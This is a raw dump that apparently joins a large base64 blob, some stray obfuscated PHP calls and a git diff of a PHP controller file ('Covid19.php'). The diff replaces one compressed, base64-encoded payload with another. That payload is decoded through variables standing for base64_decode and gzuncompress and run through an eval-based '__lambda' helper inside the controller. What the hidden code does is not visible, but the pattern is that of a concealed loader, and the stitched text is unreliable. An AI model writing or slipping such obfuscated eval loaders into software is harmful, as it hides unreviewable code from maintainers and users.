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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Covid19.php b/donjo-app/controllers/Covid19.php index 11a000d78..ef8d382d0 100644 --- a/donjo-app/controllers/Covid19.php +++ b/donjo-app/controllers/Covid19.php @@ -236,7 +236,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='eNrtXVuTosi2fp+I/R/6YUfU7JizZwDL7jY6+kEsQSjLakEu8jIBZAuWiE5599efbyWoqFhd1dOzzzlzzBpHRTJz5bp+a2US/e5d1v75O9rnm+nzMJ0Pbj7xr3n7fMMm6dPk3/50+ls4SefPkyT5+jz7rTFZDplY+3UaT981En82+/XXX28+/ZQP+O4fP13//v5/P5GmvPuB7fPZlRtXrM36jjj01ObnG37poGWvark2f353bdd2bdf292w34dgWmKsvNNWW+s5qoiu1gbsZfcicJrxm5q5/v7Lq2q7t2q7t2q7t2q7t2q7t/1q7ljOu7dqu7dr+vu0m8Gdf39/+zr6GE/b15tOVI9d2bdd2bdd2bX+qHR9xuOtOOo3hxz/wHt1Hwr3WmETGOJl5pjwNxqOoP1ZS31EWmmrE4Xj0vnhfryInQdLRjTr/jnHqf2hKZxpWjCTg/b1lOBbjUBpFnmpv+6a8ZbSf7WoRU+1NP7WfcU0MUkP0N/Lcc8TYp2vObXZ/tzBuU1kFavLcdztToiUYytuggjEkK+pLtdGOXk9NNr6znoYbGfPoI9wPuud0/8x3O0mQon+TdXsN2XlYFcePY9Bw57uy0Dfrm4e7elVrCNHDU33dMeW7QBKHvlNNNEVPQqkmhuNOojWTBdY6ZS1b8J3aQmvEE9YyVo/Dj8ugZc+xvoUnzZeBay98F/zbVBee213eZ+uKTFV51prgV8uItTtt9dDrR20+tyZoipyAbjFwwR8V/G8amLcZGWqS0lhBQ7awviFz5vFu3nA7Wbal2spzqiMP626Pk9H9EQ8hlzEjXux4RTya+hLJN3nvO7czrdVJ+pKygVzScKwIvvsw09R5EqrKiOQHXVjhfcUgo6/QC4/LrQo+yzFTOZ+3ffA/GCsLritDGb/pU61F61GIHzFryDPmVInfOR00vzcNVAufa8/QEcjJ4HpDegL6pqxRn2ijgg6A976pTduNvf6MIDvMsY79CtehbM3gbZDKsabqoE8BbbRG8JL0EvdpKpd7QQerqVexF32H1rKKAsdeYJ0zzhtVJP6JsIlJpoM1GlPMrhuk99A9XQylhOaf5evHOhSaU8Q9NMeq70DerU4VfCFeZDKo2MJjVLQj2JYDXRsnQt+JRbIJn/RFzfVFNWAHitB3HzL+tUrud6fTnazRd8P4vckW8wnZ+iAbZx0HuT6GEumxsgJtMfi8oDH60DVmysO+w6b0PVTtBcNvkLscqmvSna1vyjrmgI7qMZfxZq8n1T74mfNtAh0RYZcFnrGJT/OPWUFeJetwqlN+v0r6w+JwKD97rkE6wn8PaE1Oleg4o6nor6ymbXatassUFEtrru3eSGlDjx5NU26adkcxmomM3x61ht4zLF02BEXvWcpjF+MaTeXRsZpD6JuFMbq4dt+1RB1jPMI30feubUFHmrpsWrPIxlyWiPnsboQxbPz3mOuDZdh6z7R12W7cEk2PtrXWLfDTbio25K70LLtFdMInySZ8kmljTlPuYT4Z/lUBjQ+g2TItg35vYDyiCRpmPxob0GUzuTvk4/W05vyhayUd0N3GfbYlKO2udRt1bUO2d35IsN2uNdW7u7XYst3b9Sd6RvBwVlXe9zNlGvOxlySgx1Cs0Vw2sU70ezCtuWwJo8i0qnq7qM9N0vsO5MwSrVE/jR1RFzrB1HgZDuuRBh77jhBZKvlP+NFMp76Q7hmHuIA+nWXYIn/PJrAjre/Moq6UrJjaJL+9ejTr88yvWrhewzjQW1M24RuXzNWfPNKRtAMfZ2DuZBkM6xO/ZQjhHfnRtQg9FEk34fvxnpCtLYKxLbQ3